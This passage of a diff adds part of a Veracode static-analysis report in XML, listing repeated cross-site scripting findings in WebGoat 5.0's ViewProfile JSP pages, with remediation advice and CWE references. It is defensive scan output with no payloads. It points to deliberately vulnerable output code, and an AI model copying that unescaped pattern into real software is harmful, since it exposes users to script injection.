+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
